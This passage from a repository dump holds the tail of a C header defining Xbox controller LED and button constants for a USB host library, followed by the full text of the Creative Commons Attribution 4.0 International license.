made publicly available under the terms of the GPL2 ("Copyleft"). Contact information ------------------- Kristian Lauszus, TKJ Electronics Web : http://www.tkjelectronics.com e-mail : kristianl@tkjelectronics.com */ #ifndef _xboxenums_h #define _xboxenums_h #include "controllerEnums.h" /** Enum used to set special LED modes supported by the Xbox controller. */ enum LEDModeEnum { ROTATING = 0x0A, FASTBLINK = 0x0B, SLOWBLINK = 0x0C, ALTERNATING = 0x0D, }; /** Used to set the LEDs on the controllers */ const uint8_t XBOX_LEDS[] PROGMEM = { 0x00, // OFF 0x02, // LED1 0x03, // LED2 0x04, // LED3 0x05, // LED4 0x01, // ALL - Used to blink all LEDs }; /** Buttons on the controllers */ const uint16_t XBOX_BUTTONS[] PROGMEM = { 0x0100, // UP 0x0800, // RIGHT 0x0200, // DOWN 0x0400, // LEFT 0x2000, // BACK 0x1000, // START 0x4000, // L3 0x8000, // R3 0, 0, // Skip L2 and R2 as these are analog buttons 0x0001, // L1 0x0002, // R1 0x0020, // B 0x0010, // A 0x0040, // X 0x0080, // Y 0x0004, // XBOX 0x0008, // SYNC }; #endif ================================================ FILE: license.txt ================================================ Attribution 4.0 International ======================================================================= Creative Commons Corporation ("Creative Commons") is not a law firm and does not provide legal services or legal advice. Distribution of Creative Commons public licenses does not create a lawyer-client or other relationship. Creative Commons makes its licenses and related information available on an "as-is" basis. Creative Commons gives no warranties regarding its licenses, any material licensed under their terms and conditions, or any related information. Creative Commons disclaims all liability for damages resulting from their use to the fullest extent possible. Using Creative Commons Public Licenses Creative Commons public licenses provide a standard set of terms and conditions that creators and other rights holders may use to share original works of authorship and other material subject to copyright and certain other rights specified in the public license below. The following considerations are for informational purposes only, are not exhaustive, and do not form part of our licenses. Considerations for licensors: Our public licenses are intended for use by those authorized to give the public permission to use material in ways otherwise restricted by copyright and certain other rights. Our licenses are irrevocable. Licensors should read and understand the terms and conditions of the license they choose before applying it. Licensors should also secure all rights necessary before applying our licenses so that the public can reuse the material as expected. Licensors should clearly mark any material not subject to the license. This includes other CC- licensed material, or material used under an exception or limitation to copyright. More considerations for licensors: wiki.creativecommons.org/Considerations_for_licensors Considerations for the public: By using one of our public licenses, a licensor grants the public permission to use the licensed material under specified terms and conditions. If the licensor's permission is not necessary for any reason--for example, because of any applicable exception or limitation to copyright--then that use is not regulated by the license. Our licenses grant only permissions under copyright and certain other rights that a licensor has authority to grant. Use of the licensed material may still be restricted for other reasons, including because others have copyright or other rights in the material. A licensor may make special requests, such as asking that all changes be marked or described. Although not required by our licenses, you are encouraged to respect those requests where reasonable. More considerations for the public: wiki.creativecommons.org/Considerations_for_licensees ======================================================================= Creative Commons Attribution 4.0 International Public License By exercising the Licensed Rights (defined below), You accept and agree to be bound by the terms and conditions of this Creative Commons Attribution 4.0 International Public License ("Public License"). To the extent this Public License may be interpreted as a contract, You are granted the Licensed Rights in consideration of Your acceptance of these terms and conditions, and the Licensor grants You such rights in consideration of benefits the Licensor receives from making the Licensed Material available under these terms and conditions. Section 1 -- Definitions. a. Adapted Material means material subject to Copyright and Similar Rights that is derived from or based upon the Licensed Material and in which the Licensed Material is translated, altered, arranged, transformed, or otherwise modified in a manner requiring permission under the Copyright and Similar Rights held by the Licensor. For purposes of this Public License, where the Licensed Material is a musical work, performance, or sound recording, Adapted Material is always produced where the Licensed Material is synched in timed relation with a moving image. b. Adapter's License means the license You apply to Your Copyright and Similar Rights in Your contributions to Adapted Material in accordance with the terms and conditions of this Public License. c. Copyright and Similar Rights means copyright and/or similar rights closely related to copyright including, without limitation, performance, broadcast, sound recording, and Sui Generis Database Rights, without regard to how the rights are labeled or categorized. For purposes of this Public License, the rights specified in Section 2(b)(1)-(2) are not Copyright and Similar Rights. d. Effective Technological Measures means those measures that, in the absence of proper authority, may not be circumvented under laws fulfilling obligations under Article 11 of the WIPO Copyright Treaty adopted on December 20, 1996, and/or similar international agreements. e. Exceptions and Limitations means fair use, fair dealing, and/or any other exception or limitation to Copyright and Similar Rights that applies to Your use of the Licensed Material. f. Licensed Material means the artistic or literary work, database, or other material to which the Licensor applied this Public License. g. Licensed Rights means the rights granted to You subject to the terms and conditions of this Public License, which are limited to all Copyright and Similar Rights that apply to Your use of the Licensed Material and that the Licensor has authority to license. h. Licensor means the individual(s) or entity(ies) granting rights under this Public License. i. Share means to provide material to the public by any means or process that requires permission under the Licensed Rights, such as reproduction, public display, public performance, distribution, dissemination, communication, or importation, and to make material available to the public including in ways that members of the public may access the material from a place and at a time individually chosen by them. j. Sui Generis Database Rights means rights other than copyright resulting from Directive 96/9/EC of the European Parliament and of the Council of 11 March 1996 on the legal protection of databases, as amended and/or succeeded, as well as other essentially equivalent rights anywhere in the world. k. You means the individual or entity exercising the Licensed Rights under this Public License. Your has a corresponding meaning. Section 2 -- Scope. a. License grant. 1. Subject to the terms and conditions of this Public License, the Licensor hereby grants You a worldwide, royalty-free, non-sublicensable, non-exclusive, irrevocable license to exercise the Licensed Rights in the Licensed Material to: a. reproduce and Share the Licensed Material, in whole or in part; and b. produce, reproduce, and Share Adapted Material. 2. Exceptions and Limitations. For the avoidance of doubt, where Exceptions and Limitations apply to Your use, this Public License does not apply, and You do not need to comply with its terms and conditions. 3. Term. The term of this Public License is specified in Section 6(a). 4. Media and formats; technical modifications allowed. The Licensor authorizes You to exercise the Licensed Rights in all media and formats whether now known or hereafter created, and to make technical modifications necessary to do so. The Licensor waives and/or agrees not to assert any right or authority to forbid You from making technical modifications necessary to exercise the Licensed Rights, including technical modifications necessary to circumvent Effective Technological Measures. For purposes of this Public License, simply making modifications authorized by this Section 2(a) (4) never produces Adapted Material. 5. Downstream recipients. a. Offer from the Licensor -- Licensed Material. Every recipient of the Licensed Material automatically receives an offer from the Licensor to exercise the Licensed Rights under the terms and conditions of this Public License. b. No downstream restrictions. You may not offer or impose any additional or different terms or conditions on, or apply any Effective Technological Measures to, the Licensed Material if doing so restricts exercise of the Licensed Rights by any recipient of the Licensed Material. 6. No endorsement. Nothing in this Public License constitutes or may be construed as permission to assert or imply that You are, or that Your use of the Licensed Material is, connected with, or sponsored, endorsed, or granted official status by, the Licensor or others designated to receive attribution as provided in Section 3(a)(1)(A)(i). b. Other rights. 1. Moral rights, such as the right of integrity, are not licensed under this Public License, nor are publicity, privacy, and/or other similar personality rights; however, to the extent possible, the Licensor waives and/or agrees not to assert any such rights held by the Licensor to the limited extent necessary to allow You to exercise the Licensed Rights, but not otherwise. 2. Patent and trademark rights are not licensed under this Public License. 3. To the extent possible, the Licensor waives any right to collect royalties from You for the exercise of the Licensed Rights, whether directly or through a collecting society under any voluntary or waivable statutory or compulsory licensing scheme. In all other cases the Licensor expressly reserves any right to collect such royalties. Section 3 -- License Conditions. Your exercise of the Licensed Rights is expressly made subject to the following conditions. a. Attribution. 1. If You Share the Licensed Material (including in modified form), You must: a. retain the following if it is supplied by the Licensor with the Licensed Material: i. identification of the creator(s) of the Licensed Material and any others designated to receive attribution, in any reasonable manner requested by the Licensor (including by pseudonym if designated); ii. a copyright notice; iii. a notice that refers to this Public License; iv. a notice that refers to the disclaimer of warranties; v. a URI or hyperlink to the Licensed Material to the extent reasonably practicable; b. indicate if You modified the Licensed Material and retain an indication of any previous modifications; and c. indicate the Licensed Material is licensed under this Public License, and include the text of, or the URI or hyperlink to, this Public License. 2. You may satisfy the conditions in Section 3(a)(1) in any reasonable manner based on the medium, means, and context in which You Share the Licensed Material. For example, it may be reasonable to satisfy the conditions by providing a URI or hyperlink to a resource that includes the required information. 3. If requested by the Licensor, You must remove any of the information required by Section 3(a)(1)(A) to the extent reasonably practicable. 4. If You Share Adapted Material You produce, the Adapter's License You apply must not prevent recipients of the Adapted Material from complying with this Public License. Section 4 -- Sui Generis Database Rights. Where the Licensed Rights include Sui Generis Database Rights that apply to Your use of the Licensed Material: a. for the avoidance of doubt, Section 2(a)(1) grants You the right to extract, reuse, reproduce, and Share all or a substantial portion of the contents of the database; b. if You include all or a substantial portion of the database contents in a database in which You have Sui Generis Database Rights, then the database in which You have Sui Generis Database Rights (but not its individual contents) is Adapted Material; and c. You must comply with the conditions in Section 3(a) if You Share all or a substantial portion of the contents of the database. For the avoidance of doubt, this Section 4 supplements and does not replace Your obligations under this Public License where the Licensed Rights include other Copyright and Similar Rights. Section 5 -- Disclaimer of Warranties and Limitation of Liability. a. UNLESS OTHERWISE SEPARATELY UNDERTAKEN BY THE LICENSOR, TO THE EXTENT POSSIBLE, THE LICENSOR OFFERS THE LICENSED MATERIAL AS-IS AND AS-AVAILABLE, AND MAKES NO REPRESENTATIONS OR WARRANTIES OF ANY KIND CONCERNING THE LICENSED MATERIAL, WHETHER EXPRESS, IMPLIED, STATUTORY, OR OTHER. THIS INCLUDES, WITHOUT LIMITATION, WARRANTIES OF TITLE, MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE, NON-INFRINGEMENT, ABSENCE OF LATENT OR OTHER DEFECTS, ACCURACY, OR THE PRESENCE OR ABSENCE OF ERRORS, WHETHER OR NOT KNOWN OR DISCOVERABLE. WHERE DISCLAIMERS OF WARRANTIES ARE NOT ALLOWED IN FULL OR IN PART, THIS DISCLAIMER MAY NOT APPLY TO YOU. b. TO THE EXTENT POSSIBLE, IN NO EVENT WILL THE LICENSOR BE LIABLE TO YOU ON ANY LEGAL THEORY (INCLUDING, WITHOUT LIMITATION, NEGLIGENCE) OR OTHERWISE FOR ANY DIRECT, SPECIAL, INDIRECT, INCIDENTAL, CONSEQUENTIAL, PUNITIVE, EXEMPLARY, OR OTHER LOSSES, COSTS, EXPENSES, OR DAMAGES ARISING OUT OF THIS PUBLIC LICENSE OR USE OF THE LICENSED MATERIAL, EVEN IF THE LICENSOR HAS BEEN ADVISED OF THE POSSIBILITY OF SUCH LOSSES, COSTS, EXPENSES, OR DAMAGES. WHERE A LIMITATION OF LIABILITY IS NOT ALLOWED IN FULL OR IN PART, THIS LIMITATION MAY NOT APPLY TO YOU. c. The disclaimer of warranties and limitation of liability provided above shall be interpreted in a manner that, to the extent possible, most closely approximates an absolute disclaimer and waiver of all liability. Section 6 -- Term and Termination. a. This Public License applies for the term of the Copyright and Similar Rights licensed here. However, if You fail to comply with this Public License, then Your rights under this Public License terminate automatically. b. Where Your right to use the Licensed Material has terminated under Section 6(a), it reinstates: 1. automatically as of the date the violation is cured, provided it is cured within 30 days of Your discovery of the violation; or 2. upon express reinstatement by the Licensor. For the avoidance of doubt, this Section 6(b) does not affect any right the Licensor may have to seek remedies for Your violations of this Public License. c. For the avoidance of doubt, the Licensor may also offer the Licensed Material under separate terms or conditions or stop distributing the Licensed Material at any time; however, doing so will not terminate this Public License. d. Sections 1, 5, 6, 7, and 8 survive termination of this Public License. Section 7 -- Other Terms and Conditions. a. The Licensor shall not be bound by any additional or different terms or conditions communicated by You unless expressly agreed. b. Any arrangements, understandings, or agreements regarding the Licensed Material not stated herein are separate from and independent of the terms and conditions of this Public License. Section 8 -- Interpretation. a. For the avoidance of doubt, this Public License does not, and shall not be interpreted to, reduce, limit, restrict, or impose conditions on any use of the Licensed Material that could lawfully be made without permission under this Public License. b. To the extent possible, if any provision of this Public License is deemed unenforceable, it shall be automatically reformed to the minimum extent necessary to make it enforceable. If the provision cannot be reformed, it shall be severed from this Public License without affecting the enforceability of the remaining terms and conditions. c. No term or condition of this Public License will be waived and no failure to comply consented to unless expressly agreed to by the Licensor. d. Nothing in this Public License constitutes or may be interpreted as a limitation upon, or waiver of, any privileges and immunities that apply to the Licensor or You, including from the legal processes of any jurisdiction or authority. ======================================================================= Creative Commons is not a party to its public licenses. Notwithstanding, Creative Commons may elect to apply one of its public licenses to material it publishes and in those instances will be considered the “Licensor.” The text of the Creative Commons public licenses is dedicated to the public domain under the CC0 Public Domain Dedication. Except for the limited purpose of indicating that material is shared under a Creative Commons public license or as otherwise permitted by the Creative Commons policies published at creativecommons.org/policies, Creative Commons does not authorize the use of the trademark "Creative Commons" or any other trademark or logo of Creative Commons without its prior written consent including, without limitation, in connection with any unauthorized modifications to any of its public licenses or any other arrangements, understandings, or agreements concerning use of licensed material. For the avoidance of doubt, this paragraph does not form part of the public licenses. Creative Commons may be contacted at creativecommons.org.